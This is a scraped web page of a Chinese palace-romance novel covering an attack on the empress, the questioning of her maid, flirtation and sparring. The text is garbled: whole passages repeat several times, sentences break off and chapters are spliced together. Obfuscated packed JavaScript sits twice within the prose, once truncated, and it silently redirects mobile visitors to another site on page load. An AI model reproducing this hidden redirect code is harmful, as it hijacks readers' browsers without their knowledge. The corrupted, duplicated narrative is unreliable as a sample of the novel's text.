此刻,见两个受伤较轻的黑衣人妄图趁乱咬破嘴里的**自尽,他反应极快,身形如电,瞬间冲了上去。 在黑衣人张口咬下**的瞬间,慕容无舌飞起一脚,狠狠踢在两人下巴上。 啪—— 啪—— 只听两声惨叫。 黑衣人的下巴脱臼,**滚落一旁,他们只能徒劳地瞪大双眼,再无法做出自尽之举。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346206|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不多时,慕容嫣已将所有黑衣人打翻在地。 她发丝稍显凌乱,却无损那与生俱来的尊贵威严,胸脯微微起伏,气息稍喘,显示出这场激战耗费了她不少体力。 慕容无舌见状,立刻招呼远处巡逻的护卫。护卫们训练有素,听到呼喊,迅速赶来,一拥而上,将还在地上挣扎的黑衣人用粗绳牢牢绑住,拖了下去。 慕容嫣缓步走到被制住的麝月面前,居高临下地俯视着她,目光冰冷:“麝月,看来今夜这场好戏,你是知晓一二的。说吧,煊赫门到底有何图谋,派这些人来,是想取朕的性命,还是另有目的?” 麝月早已哭成泪人,拼命摇头:“陛下,奴婢真的不知啊!奴婢身份清白,从小就在宫里,一心向陛下,绝无背叛之意!” 慕容嫣冷哼一声:“事到如今,你还嘴硬。无舌,把她带回寝宫。朕要亲自审问!” 慕容无舌领命,押着麝月退下。 倒地。 慕容无舌虽被慕容嫣指派看守麝月,但目光始终紧紧锁住战场。 见慕容嫣渐占上风,他心中稍安,却也不敢有丝毫懈怠。 此刻,见两个受伤较轻的黑衣人妄图趁乱咬破嘴里的**自尽,他反应极快,身形如电,瞬间冲了上去。 在黑衣人张口咬下**的瞬间,慕容无舌飞起一脚,狠狠踢在两人下巴上。 啪—— 啪—— 只听两声惨叫。 黑衣人的下巴脱臼,**滚落一旁,他们只能徒劳地瞪大双眼,再无法做出自尽之举。 不多时,慕容嫣已将所有黑衣人打翻在地。 她发丝稍显凌乱,却无损那与生俱来的尊贵威严,胸脯微微起伏,气息稍喘,显示出这场激战耗费了她不少体力。 慕容无舌见状,立刻招呼远处巡逻的护卫。护卫们训练有素,听到呼喊,迅速赶来,一拥而上,将还在地上挣扎的黑衣人用粗绳牢牢绑住,拖了下去。 慕容嫣缓步走到被制住的麝月面前,居高临下地俯视着她,目光冰冷:“麝月,看来今夜这场好戏,你是知晓一二的。说吧,煊赫门到底有何图谋,派这些人来,是想取朕的性命,还是另有目的?” 麝月早已哭成泪人,拼命摇头:“陛下,奴婢真的不知啊!奴婢身份清白,从小就在宫里,一心向陛下,绝无背叛之意!” 慕容嫣冷哼一声:“事到如今,你还嘴硬。无舌,把她带回寝宫。朕要亲自审问!” 慕容无舌领命,押着麝月退下。 倒地。 慕容无舌虽被慕容嫣指派看守麝月,但目光始终紧紧锁住战场。 见慕容嫣渐占上风,他心中稍安,却也不敢有丝毫懈怠。 此刻,见两个受伤较轻的黑衣人妄图趁乱咬破嘴里的**自尽,他反应极快,身形如电,瞬间冲了上去。 在黑衣人张口咬下**的瞬间,慕容无舌飞起一脚,狠狠踢在两人下巴上。 啪—— 啪—— 只听两声惨叫。 黑衣人的下巴脱臼,**滚落一旁,他们只能徒劳地瞪大双眼,再无法做出自尽之举。 不多时,慕容嫣已将所有黑衣人打翻在地。 她发丝稍显凌乱,却无损那与生俱来的尊贵威严,胸脯微微起伏,气息稍喘,显示出这场激战耗费了她不少体力。 慕容无舌见状,立刻招呼远处巡逻的护卫。护卫们训练有素,听到呼喊,迅速赶来,一拥而上,将还在地上挣扎的黑衣人用粗绳牢牢绑住,拖了下去。 慕容嫣缓步走到被制住的麝月面前,居高临下地俯视着她,目光冰冷:“麝月,看来今夜这场好戏,你是知晓一二的。说吧,煊赫门到底有何图谋,派这些人来,是想取朕的性命,还是另有目的?” 麝月早已哭成泪人,拼命摇头:“陛下,奴婢真的不知啊!奴婢身份清白,从小就在宫里,一心向陛下,绝无背叛之意!” 慕容嫣冷哼一声:“事到如今,你还嘴硬。无舌,把她带回寝宫。朕要亲自审问!” 慕容无舌领命,押着麝月退下。 倒地。 慕容无舌虽被慕容嫣指派看守麝月,但目光始终紧紧锁住战场。 见慕容嫣渐占上风,他心中稍安,却也不敢有丝毫懈怠。 此刻,见两个受伤较轻的黑衣人妄图趁乱咬破嘴里的**自尽,他反应极快,身形如电,瞬间冲了上去。 在黑衣人张口咬下**的瞬间,慕容无舌飞起一脚,狠狠踢在两人下巴上。 啪—— 啪—— 只听两声惨叫。 黑衣人的下巴脱臼,**滚落一旁,他们只能徒劳地瞪大双眼,再无法做出自尽之举。 不多时,慕容嫣已将所有黑衣人打翻在地。 她发丝稍显凌乱,却无损那与生俱来的尊贵威严,胸脯微微起伏,气息稍喘,显示出这场激战耗费了她不少体力。 慕容无舌见状,立刻招呼远处巡逻的护卫。护卫们训练有素,听到呼喊,迅速赶来,一拥而上,将还在地上挣扎的黑衣人用粗绳牢牢绑住,拖了下去。 慕容嫣缓步走到被制住的麝月面前,居高临下地俯视着她,目光冰冷:“麝月,看来今夜这场好戏,你是知晓一二的。说吧,煊赫门到底有何图谋,派这些人来,是想取朕的性命,还是另有目的?” 麝月早已哭成泪人,拼命摇头:“陛下,奴婢真的不知啊!奴婢身份清白,从小就在宫里,一心向陛下,绝无背叛之意!” 慕容嫣冷哼一声:“事到如今,你还嘴硬。无舌,把她带回寝宫。朕要亲自审问!” 慕容无舌领命,押着麝月退下。 第424章 过来,朕给你看个好东西 林臻正在顾镇那边。 说实话这些后宫里他对顾镇是最不关心的可偏偏怀孕的又是她。 说喜欢吧?确实喜欢。 顾镇的小模样没得挑但说不喜欢吧可能这些后宫里对林臻最不在乎的也是她。 所以有的时候就会又爱又不爱。 但不管怎么说孩子是自己。 顾镇寝宫内气氛凝重顾镇坐在雕花椅上一手轻抚着还没有隆起的腹部一脸母亲的慈爱表情。 她母亲也被接进了宫里在内务府挂职派遣宁妃寝宫伺候算是给个安身立命之所。 可以说和后宫里其他永远孤独的妃子相比顾镇算是最幸运的。 “夫君你喜欢男孩还是女孩呀?”顾镇一脸姨母笑手指在肚子上画圈圈。 林臻说:“我都喜欢所以你就安心养胎即可 “夫君放心臣妾会照顾好自己的。” 这时司马椿蕾也走过来笑盈盈地道:“夫君放心臣妾也会照顾好宁妃妹妹的呢。” 说着她将手放在林臻脸上止不住地挑逗。 林臻笑了笑。 她这是着急了呀。 也伴随着几分饥渴。 但是没办法家里女人多不可能照顾得面面俱到就算再思念也得忍着。 再说行房这种事情不就是忍一忍才更有感觉吗? 林臻眼神时不时飘向窗外。 突然一阵急促的脚步声打破了屋内的凝重一名侍卫匆匆闯入单膝跪地喘着粗气禀报道:“世子陛下又**了!” 林臻猛地站起身来脸色骤变。 未等侍卫再多言他身形一闪如疾风般冲了出去。 慕容嫣的寝宫此刻弥漫着一股紧张的气息。 宫女们来来往往脚步慌乱却又强装镇定生怕惊扰了屋内的陛下。 林臻径直闯入。 只见慕容嫣正半裸着坐在梳妆台前她身姿婀娜金黄色上面绣着凤凰图案的肚兜紧紧保护着那饱满的胸脯在烛光的映照下肚兜上的丝线闪烁着微光似有灵韵。 头顶那凤冠更是华丽非凡纯金打造的冠身雕满了精细繁复的花纹展翅欲飞的凤凰昂首挺立在正中央口中衔着一颗硕大的红宝石周边镶嵌着一圈细碎的蓝宝石与珍珠随着慕容嫣的动作轻轻晃动光芒璀璨夺目。 可外面象征着威严的凤袍却已褪去正随意 地铺在床榻上,那鲜艳的色泽与凌乱的褶皱形成鲜明对比,仿佛在无声地讲述着刚刚那场惊心动魄的变故,等待着被折叠收起。 林臻忙快步走过去,心急之下,差点撞倒了旁边的烛台。 他全然不顾,径直蹲在慕容嫣面前,双手紧紧握住她的柔荑,眼睛瞪大,仔细又带着几分急切地猛看。 那目光似要将她从头到脚审视一遍,确认有无损伤,声音发颤地问道:“嫣儿,你没事吧? “几个小**贼而已,没事。慕容嫣微微扬起下巴,眼中闪过一丝倔强:声音轻柔:“无舌反应很快,没有让那刺客服毒**,应该能问出来点什么。 林臻听闻,长舒口气,紧绷的身子微微放松,可眼神依旧冷峻。 他缓缓站起身,目光扫向屋内,最后落在跪在一边的麝月身上。 麝月此刻哭得梨花带雨,身体瑟瑟发抖,眼睛红肿得像熟透的桃子。 林臻目光如炬,带着几分审视与怀疑,开口说道:“麝月,难道真的是煊赫门的人? 麝月一听,哭得愈发伤心,泪水簌簌而落,打湿了身前的地面。 她抽噎着辩解:“世子!奴婢不是煊赫门的人,奴婢出身清白,从小就在宫里,根本不知道什么是煊赫门,呜呜呜. 那楚楚可怜的模样,任谁见了都难免心生恻隐。 林臻也觉得不太可能。 如果说连麝月都是煊赫门的人,那他们的布局未免也太早了吧?十几年前就在大乾宫里安插了内奸? 不可能,先帝虽然老迈昏聩,但对自己小命还是很在乎的,不会这方面放松警惕。 慕容嫣此时也冷静下来,她轻轻蹙起眉头,回想起平日里麝月的乖巧温顺,觉得事有蹊跷。 她抬手理了理鬓边的发丝,缓缓开口:“想来麝月不应该是煊赫门的人,应是煊赫门趁这个时候出现,蓄意挑拨朕和她之间的关系。 林 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“麝月,别哭哭啼啼地惹人心烦,站起来,告诉后宫的六百绣娘,连夜把凤袍重新打造出来,朕明早要穿!” “嘎?” 六百绣娘!!?? 什么情况? 我说这宫里的宫女怎么都不见了呢,合着都被你安排去做衣服了。 好啊好啊,好一个贸易逆差啊。 六百绣娘就服务你一个人。 麝月擦了擦眼泪,十分感激且庄重地向慕容嫣磕了个头,起身走了出去。 林臻说:“额嫣儿,你做衣服其实我没有意见,但这六百绣娘.是不是有点多啊?” 慕容嫣淡笑着没说话,穿着肚兜和亵裤站起来,拉住林臻的手。 “夫君啊,别管那些没有用的,过来,朕给你看个好东西。” “哦?什么好东西?” “你来看看就知道了嘛!” 慕容嫣伸手脖子后面的肚兜系绳。 第425章 夫君昨晚歇息的可好 冬日的晨曦,宛如一层薄纱,悄无声息地透过雕花窗棂,洒进慕容嫣的寝宫。 那缕阳光虽竭力穿透寒冷,却依旧未能带来多少暖意,只是给这满室的奢华镀上了一层淡淡的金边。 凤榻之上,林臻与慕容嫣相拥而眠,宛如一对璧人。 慕容嫣一条欺霜赛雪的大腿,肆意地横跨在林臻的肚子上,双手亲昵地搂住林臻的脖颈,二人的脸庞近在咫尺,呼吸相闻,满是缱绻柔情。 当那缕清冷的阳光,轻轻抚上他们的面容,仿若温柔的晨钟,将二人从甜美的梦乡中唤醒。 慕容嫣率先睁开双眸,眼中还带着些未散尽的睡意,声音慵懒而又妩媚,轻轻撩动人心。 “夫君昨晚歇息得可好? 林臻微微睁眼,看着近在眼前的娇颜,又想起昨晚的旖旎,嘴角勾起一抹浅笑,带着满足与宠溺,轻声应道:“甚好。 说罢,还轻轻捏了捏慕容嫣的脸颊,惹得她娇嗔地瞪了一眼。 二人起身,慕容嫣清了清嗓子,高声唤道:“麝月。 声音清脆,在寝宫内悠悠回荡。 几乎是瞬间,宫门被轻轻推开,麝月迈着轻盈的步伐走进来,她身姿婀娜,行止间尽显乖巧。 身后,十五名宫女鱼贯而入,她们手中捧着的,皆是黑色凤袍。 因为拖尾很长,慕容嫣又禁止任何人触碰,所以只能用托盘层层叠叠地端着。 那凤袍质地精良,面料在微光下泛着乌金般的光泽,绣工更是巧夺天工,每一针每一线都似在诉说着皇家的威严与奢华。 想来,定是昨日那六百名绣娘日夜赶工,才得以在这般短的时间内重新缝制完成。 慕容嫣款步走到梳妆台前,优雅落座。 刚欲抬手整理鬓发,却忽地转头,对着麝月吩咐道:“你去给夫君梳妆,朕自己来。 麝月微微一怔,随即乖巧地应了一声,莲步轻移至床榻边上。 林臻知道慕容嫣什么心思,也不点破,起身走到另一张梳妆台面前,安然坐下。 麝月拿起玉梳,轻轻挑起林臻的长发,柔顺的发丝从梳齿间滑过。 林臻的大手却仿若不受控制一般,不自觉地向后伸去,轻轻捂住了麝月的小腿,嘴上挂着淡淡的笑容,来回摩挲。 “啊世子 这突如其来的亲昵举动,让麝月的脸蛋瞬间涨得通红,羞涩从眼角眉梢蔓延至耳根。 她的手微微一抖,差点弄掉了梳子,好在及时稳住。 可是林臻却并没有因此罢休,就是这样不轻不重的摸着,也不越界,也不低俗。 麝月没办法,只好佯装镇定地继续手中的动作,只是那心跳声,却如密集的鼓点,在胸腔内剧烈跳动。 慕容嫣将这一切尽收眼底,嘴角勾起一抹不易察觉的弧度,却又装作视而不见。 “夫君,朕得去晨练,你好好休息,一会儿随朕去上朝。” “也好。” 林臻点点头。 随即慕容嫣在宫女们的精心伺候下,穿上那身华丽无比的黑色凤袍,凤冠以及超长的拖尾。 她头顶那顶凤冠,堪称巧夺天工之作。 凤冠主体由纯金打造,质地坚韧而闪耀着温润的光泽,似被初升的朝阳镀了一层薄金。 其上雕刻着精细繁复的花纹,每一道纹理都仿若诉说着古老而神秘的故事,流畅的线条勾勒出云纹、如意纹,寓意吉祥如意,层层叠绕,彰显着尊贵非凡。 正中央,一只昂首展翅的凤凰傲然而立,它以五彩宝石镶嵌而成,红宝石作眼,犀利而威严。 蓝宝石铺就羽翼,在光线下闪烁着深邃的幽光;珍珠点缀周身,颗颗圆润饱满,散发着柔和的光晕,让凤凰更显灵动鲜活,仿佛下一秒就要振翅高飞,冲破云霄。 凤冠两侧垂下的珠帘,皆是由上等的东珠串成,每一颗东珠都大小均匀,色泽温润,在微风中轻轻晃动,相互碰撞,发出清脆悦耳的声响,为慕容嫣的出场增添了几分神秘而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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大胆,流氓! 无舌心中一凛,当下不敢有半分懈怠。 他身形如鬼魅般一闪,侧身以毫厘之差避开慕容嫣这凌厉的一击,动作快若闪电,眨眼间已移出数尺开外,仿若从未在原地停留过一般。 慕容嫣一击落空,却丝毫不见气馁之色,柳眉轻挑,眼神中透露出一股倔强与果敢。 紧接着,她右腿迅速抬起,在空中划过一道完美的弧线,如同黑色的闪电,朝着无舌横扫而去。 这一腿,不仅力量惊人,能碎石断金,更兼具一种独特的美感。 随着她的动作,黑色凤袍的裙摆仿若被狂风掀起的战旗,烈烈作响,猎猎飞扬。 那五十米的拖尾,此刻更是仿若一条被惊醒的毒液,颇有灵性,凌空飞舞,在空中翻腾、扭转,所到之处,飞沙走石,却神奇地不沾染一丝尘埃,依旧保持着那超凡脱俗的华丽,在阳光的照耀下,拖尾上的花纹熠熠生辉。 无舌眼神一凝,矮身如猎豹捕猎般迅速躲过这一腿,同时右手探出,快如疾风,如鹰嘴擒兔般朝着慕容嫣的脚踝抓去。 若是抓实,便能让她动弹不得。 慕容嫣见状,脚尖轻点,借力腾空而起,在空中完成了一个惊艳的翻身动作,不仅巧妙避开了无舌的抓捕,还顺势双拳齐出,自上而下,如同流星坠地般朝着无舌砸落,每一拳都蕴含着千钧之力,带着一往无前的气势。 无舌连忙后退,双掌交叉格挡,只听“砰”的声闷响,两人掌拳相接之处,气浪滚滚四溢,震得周围的花草簌簌发抖,仿若在狂风中挣扎。 慕容嫣借力在空中一个潇洒的旋转,稳稳落地,黑色凤袍的拖尾仿若灵动的黑化凤凰,在空中划出一道优美至极的曲线后,轻柔地把落,仿若完成了一场华丽的谢幕表演。 二人你来我往,一时间难解难分,转眼间已过了半个时辰。 慕容嫣的招式愈发凌厉多变,拳法刚猛中透着灵动,每一次挥拳,都似能开山裂石,又能在间不容发之际巧妙变招;腿法刁钻无比,角度诡异,让人防不胜防。 每一次出击,黑色凤袍都随之疯狂舞动,拖尾仿若被注入了灵魂,在地面上肆意翻卷、舒展,与她的身姿配合得天衣无缝,构成一幅震撼人心、动人心魄的画面。 无舌亦是守得固若金汤,滴水不漏,他身形矫健敏捷,或闪或避,或攻或守,出手之时,必让对手不敢小觑。 此时,阳光愈发炽热,毫无保留地洒在二人身上。 慕容嫣的额头已渗出细密的汗珠,几缕发丝紧贴脸颊,却仿 若为她增添了几分妩媚动人的风姿。 她忽地收拳,后退几步,脸上绽放出一抹如春花绽放般的娇笑。 “哈哈哈哈!痛快,以后我们天天都要打!”她的声音清脆悦耳,仿若清晨山林间跳跃的**,在这空旷之地悠悠回荡,驱散了些许紧张的气氛。 无舌将不知道什么时候丢开的拂尘捡起来,躬身行礼:“陛下武艺高强,老奴佩服。” 尽管刚刚经历一场激战,体力消耗巨大,但他脸上依旧未有半分疲态显现,仿若一座永不倒塌的堡垒。 慕容嫣微微摆手,示意他免礼,抬手优雅地理了理鬓边的发丝,缓声道:“少拍马屁,朕还是喜欢听你说些关于武学的话。” 说罢,她转身,黑色凤袍的拖尾仿若一片黑色的祥云,优雅地划出一道弧线,回到寝宫。 无舌起身,也不便多问,唯有紧跟其后。 慕容嫣带着一身晨练后的热气,英姿飒爽地回到寝宫。 刚踏入宫门,眼前的一幕却让她瞬间如坠冰窖。 只见麝月战战兢兢地站在林臻面前,而林臻竟单手掐着麝月的下巴,双眼紧闭,正在仔仔细细地吸吮她的舌头。 麝月瞪大了双眼,眼中满是惊恐与无措,身子僵硬得如同石化,想要躲避却又不敢有丝毫动弹,双手无助地悬在半空,不知该往何处安放。 慕容嫣见状,柳眉倒竖,美目圆睁,那精致的脸庞瞬间布满寒霜,娇嗔道:“好啊,朕在外面晨练,你躲在寝宫里泡姑娘,看拳!” 话语间,她毫不留情,娇躯一转,右拳裹挟着呼呼风声,如同一颗出膛的炮弹,朝着林臻迅猛砸去。 林臻却似背后生了眼睛,反应敏捷至极。 就在慕容嫣的拳头即将触碰到他的瞬间,他身形一晃,以迅雷不及掩耳之势,一手揽住麝月的纤腰,抱着她轻盈一跃,如同一道黑色的闪电般跳上了床榻。 床榻上的锦被被这突如其来的动静掀得飞起,在空中胡乱飞舞。 慕容嫣吃了一惊,原本满是怒火的眼眸中闪过一丝诧异,脱口问道:“你什么时候速度这么快了?” 林臻抱着已然吓得花容失色的麝月,嘴角勾起一抹淡淡的笑意,不紧不慢地说道:“我快不快你还不知道吗?” “滚,朕问你话呢!” “呵,你以为就你可以练武?我这几天在家可没闲着。”那语气中,带着几分自得,仿佛在向慕容嫣宣告,他也并非是懈怠之人。 慕容嫣一听,好奇心顿起,可那股子醋意却 未消散,上前一步,气鼓鼓地问道:“你是跟谁练的?” 她那模样,像极了一只被惹怒却又好奇的小猫,可爱中透着几分凌厉。 林臻微微调整了一下抱着麝月的姿势,让她站稳,这才不慌不忙地回答:“当然是老宗主了。” 慕容嫣一听这话,心中的火气“噌”地一下又冒了起来。 她几步跨到床边,玉手如电,猛地出手揪住林臻的耳朵,咬牙切齿道:“好啊,既然你这么厉害,我们俩也出去走几招。” 那架势,显然是不达目的不罢休。 林臻见状,连忙讨饶:“诶别别别!嫣儿,我错了,这不是闹着玩嘛,你可别当真。” 慕容嫣能和无舌对打,肯定不是林臻这个半吊子能比你的。 他一边说着,一边试图掰开慕容嫣的手,可慕容嫣下手极有分寸,疼得他龇牙咧嘴,却又不敢太过挣扎,生怕真惹恼了她。 但慕容嫣哪肯轻易放过他,手上用力,揪着林臻就往宫外走。 林臻无奈,只能任由她拽着,一路踉踉跄跄地出了寝宫,来到院子里。 此时,阳光正好洒在院子的青石板上,泛出温润的光泽。 慕容嫣松开林臻的耳朵,往后退了几步,摆开架势。 她身上那袭华丽无比的黑色凤袍,在日光的映照下,愈发显得神秘而庄重。 袍身之上,金丝银线绣就的凤凰仿若活物,随着她的动作振翅欲飞,每一片羽翼都闪烁着璀璨光芒,似在为她助威。 而那长达五十米的拖尾,更是这场较量中的绝美点缀。 拖尾上绣满了繁复的花纹,以盛开的牡丹为主,花瓣层层簇拥,娇艳欲滴,搭配着灵动的云纹,随着慕容嫣的移动,拖尾仿若一条流动的黑色长河,在地面上蜿蜒翻卷,美不胜收。 林臻见此情形,知道今日这场比试是躲不过去了,也只能硬着头皮,全神贯注地应对。 他微微弓身,双脚分开,双手握拳,置于胸前。 “来吧。” “咏春,叶问!” “我让你问!!”慕容嫣率先发难,她娇喝一声,左腿高高抬起,在空中划过一道优美的弧线,朝着林臻横扫而去。 这一腿,力量与美感兼具,带起一阵劲风,吹得院子里的花草簌簌发抖。 黑色凤袍的裙摆随之烈烈扬起,如同一面黑色战旗,猎猎作响。 林臻眼神一凝,不敢有丝毫大意,矮身如猎豹捕猎般迅速躲过这一腿,同时右手探出,快如疾风,朝着慕容嫣的胸口抓去。 慕容嫣见状顿时怒喝:“你耍赖!” 随即脚尖轻点,借力腾空而起,在空中完成了一个惊艳的翻身动作,过程中一脚踢中林臻胸口,让他整个人向后飞去。 砰—— “咳咳咳咳!”林臻重重地摔在地上,扬起一片尘土,猛烈咳嗽,狼狈不堪。 慕容嫣见状,收了招式,莲步轻移至林臻身边,双手抱胸,居高临下地看着他,冷哼一声:“哼,这下知道朕的厉害了吧。” 虽说语气依旧带着几分嗔怒,可眼中却闪过一丝不易察觉的关切。 林臻苦笑一声,挣扎着从地上爬起来,拍了拍身上的尘土,嘟囔道:“嫣儿,你这下手也太狠了,我这浑身骨头都要散架了。” 他一边说着,一边揉着胸口,脸上满是无奈。 未消散,上前一步,气鼓鼓地问道:“你是跟谁练的?” 她那模样,像极了一只被惹怒却又好奇的小猫,可爱中透着几分凌厉。 林臻微微调整了一下抱着麝月的姿势,让她站稳,这才不慌不忙地回答:“当然是老宗主了。” 慕容嫣一听这话,心中的火气“噌”地一下又冒了起来。 她几步跨到床边,玉手如电,猛地出手揪住林臻的耳朵,咬牙切齿道:“好啊,既然你这么厉害,我们俩也出去走几招。” 那架势,显然是不达目的不罢休。 林臻见状,连忙讨饶:“诶别别别!嫣儿,我错了,这不是闹着玩嘛,你可别当真。” 慕容嫣能和无舌对打,肯定不是林臻这个半吊子能比你的。 他一边说着,一边试图掰开慕容嫣的手,可慕容嫣下手极有分寸,疼得他龇牙咧嘴,却又不敢太过挣扎,生怕真惹恼了她。 但慕容嫣哪肯轻易放过他,手上用力,揪着林臻就往宫外走。 林臻无奈,只能任由她拽着,一路踉踉跄跄地出了寝宫,来到院子里。 此时,阳光正好洒在院子的青石板上,泛出温润的光泽。 慕容嫣松开林臻的耳朵,往后退了几步,摆开架势。 她身上那袭华丽无比的黑色凤袍,在日光的映照下,愈发显得神秘而庄重。 袍身之上,金丝银线绣就的凤凰仿若活物,随着她的动作振翅欲飞,每一片羽翼都闪烁着璀璨光芒,似在为她助威。 而那长达五十米的拖尾,更是这场较量中的绝美点缀。 拖尾上绣满了繁复的花纹,以盛开的牡丹为主,花瓣层层簇拥,娇艳欲滴,搭配着灵动的云纹,随着慕容嫣的移动,拖尾仿若一条流动的黑色长河,在地面上蜿蜒翻卷,美不胜收。 林臻见此情形,知道今日这场比试是躲不过去了,也只能硬着头皮,全神贯注地应对。 他微微弓身,双脚分开,双手握拳,置于胸前。 “来吧。” “咏春,叶问!” “我让你问!!”慕容嫣率先发难,她娇喝一声,左腿高高抬起,在空中划过一道优美的弧线,朝着林臻横扫而去。 这一腿,力量与美感兼具,带起一阵劲风,吹得院子里的花草簌簌发抖。 黑色凤袍的裙摆随之烈烈扬起,如同一面黑色战旗,猎猎作响。 林臻眼神一凝,不敢有丝毫大意,矮身如猎豹捕猎般迅速躲过这一腿,同时右手探出,快如疾风,朝着慕容嫣的胸口抓去。 慕容嫣见状顿时怒喝:“你耍赖!” 随即脚尖轻点,借力腾空而起,在空中完成了一个惊艳的翻身动作,过程中一脚踢中林臻胸口,让他整个人向后飞去。 砰—— “咳咳咳咳!”林臻重重地摔在地上,扬起一片尘土,猛烈咳嗽,狼狈不堪。 慕容嫣见状,收了招式,莲步轻移至林臻身边,双手抱胸,居高临下地看着他,冷哼一声:“哼,这下知道朕的厉害了吧。” 虽说语气依旧带着几分嗔怒,可眼中却闪过一丝不易察觉的关切。 林臻苦笑一声,挣扎着从地上爬起来,拍了拍身上的尘土,嘟囔道:“嫣儿,你这下手也太狠了,我这浑身骨头都要散架了。” 他一边说着,一边揉着胸口,脸上满是无奈。 未消散,上前一步,气鼓鼓地问道:“你是跟谁练的?” 她那模样,像极了一只被惹怒却又好奇的小猫,可爱中透着几分凌厉。 林臻微微调整了一下抱着麝月的姿势,让她站稳,这才不慌不忙地回答:“当然是老宗主了。” 慕容嫣一听这话,心中的火气“噌”地一下又冒了起来。 她几步跨到床边,玉手如电,猛地出手揪住林臻的耳朵,咬牙切齿道:“好啊,既然你这么厉害,我们俩也出去走几招。” 那架势,显然是不达目的不罢休。 林臻见状,连忙讨饶:“诶别别别!嫣儿,我错了,这不是闹着玩嘛,你可别当真。” 慕容嫣能和无舌对打,肯定不是林臻这个半吊子能比你的。 他一边说着,一边试图掰开慕容嫣的手,可慕容嫣下手极有分寸,疼得他龇牙咧嘴,却又不敢太过挣扎,生怕真惹恼了她。 但慕容嫣哪肯轻易放过他,手上用力,揪着林臻就往宫外走。 林臻无奈,只能任由她拽着,一路踉踉跄跄地出了寝宫,来到院子里。 此时,阳光正好洒在院子的青石板上,泛出温润的光泽。 慕容嫣松开林臻的耳朵,往后退了几步,摆开架势。 她身上那袭华丽无比的黑色凤袍,在日光的映照下,愈发显得神秘而庄重。 袍身之上,金丝银线绣就的凤凰仿若活物,随着她的动作振翅欲飞,每一片羽翼都闪烁着璀璨光芒,似在为她助威。 而那长达五十米的拖尾,更是这场较量中的绝美点缀。 拖尾上绣满了繁复的花纹,以盛开的牡丹为主,花瓣层层簇拥,娇艳欲滴,搭配着灵动的云纹,随着慕容嫣的移动,拖尾仿若一条流动的黑色长河,在地面上蜿蜒翻卷,美不胜收。 林臻见此情形,知道今日这场比试是躲不过去了,也只能硬着头皮,全神贯注地应对。 他微微弓身,双脚分开,双手握拳,置于胸前。 “来吧。” “咏春,叶问!” “我让你问!!”慕容嫣率先发难,她娇喝一声,左腿高高抬起,在空中划过一道优美的弧线,朝着林臻横扫而去。 这一腿,力量与美感兼具,带起一阵劲风,吹得院子里的花草簌簌发抖。 黑色凤袍的裙摆随之烈烈扬起,如同一面黑色战旗,猎猎作响。 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随即脚尖轻点,借力腾空而起,在空中完成了一个惊艳的翻身动作,过程中一脚踢中林臻胸口,让他整个人向后飞去。 砰—— “咳咳咳咳!”林臻重重地摔在地上,扬起一片尘土,猛烈咳嗽,狼狈不堪。 慕容嫣见状,收了招式,莲步轻移至林臻身边,双手抱胸,居高临下地看着他,冷哼一声:“哼,这下知道朕的厉害了吧。” 虽说语气依旧带着几分嗔怒,可眼中却闪过一丝不易察觉的关切。 林臻苦笑一声,挣扎着从地上爬起来,拍了拍身上的尘土,嘟囔道:“嫣儿,你这下手也太狠了,我这浑身骨头都要散架了。” 他一边说着,一边揉着胸口,脸上满是无奈。 未消散,上前一步,气鼓鼓地问道:“你是跟谁练的?” 她那模样,像极了一只被惹怒却又好奇的小猫,可爱中透着几分凌厉。 林臻微微调整了一下抱着麝月的姿势,让她站稳,这才不慌不忙地回答:“当然是老宗主了。” 慕容嫣一听这话,心中的火气“噌”地一下又冒了起来。 她几步跨到床边,玉手如电,猛地出手揪住林臻的耳朵,咬牙切齿道:“好啊,既然你这么厉害,我们俩也出去走几招。” 那架势,显然是不达目的不罢休。 林臻见状,连忙讨饶:“诶别别别!嫣儿,我错了,这不是闹着玩嘛,你可别当真。” 慕容嫣能和无舌对打,肯定不是林臻这个半吊子能比你的。 他一边说着,一边试图掰开慕容嫣的手,可慕容嫣下手极有分寸,疼得他龇牙咧嘴,却又不敢太过挣扎,生怕真惹恼了她。 但慕容嫣哪肯轻易放过他,手上用力,揪着林臻就往宫外走。 林臻无奈,只能任由她拽着,一路踉踉跄跄地出了寝宫,来到院子里。 此时,阳光正好洒在院子的青石板上,泛出温润的光泽。 慕容嫣松开林臻的耳朵,往后退了几步,摆开架势。 她身上那袭华丽无比的黑色凤袍,在日光的映照下,愈发显得神秘而庄重。 袍身之上,金丝银线绣就的凤凰仿若活物,随着她的动作振翅欲飞,每一片羽翼都闪烁着璀璨光芒,似在为她助威。 而那长达五十米的拖尾,更是这场较量中的绝美点缀。 拖尾上绣满了繁复的花纹,以盛开的牡丹为主,花瓣层层簇拥,娇艳欲滴,搭配着灵动的云纹,随着慕容嫣的移动,拖尾仿若一条流动的黑色长河,在地面上蜿蜒翻卷,美不胜收。 林臻见此情形,知道今日这场比试是躲不过去了,也只能硬着头皮,全神贯注地应对。 他微微弓身,双脚分开,双手握拳,置于胸前。 “来吧。” “咏春,叶问!” “我让你问!!”慕容嫣率先发难,她娇喝一声,左腿高高抬起,在空中划过一道优美的弧线,朝着林臻横扫而去。 这一腿,力量与美感兼具,带起一阵劲风,吹得院子里的花草簌簌发抖。 黑色凤袍的裙摆随之烈烈扬起,如同一面黑色战旗,猎猎作响。 林臻眼神一凝,不敢有丝毫大意,矮身如猎豹捕猎般迅速躲过这一腿,同时右手探出,快如疾风,朝着慕容嫣的胸口抓去。 慕容嫣见状顿时怒喝:“你耍赖!” 随即脚尖轻点,借力腾空而起,在空中完成了一个惊艳的翻身动作,过程中一脚踢中林臻胸口,让他整个人向后飞去。 砰—— 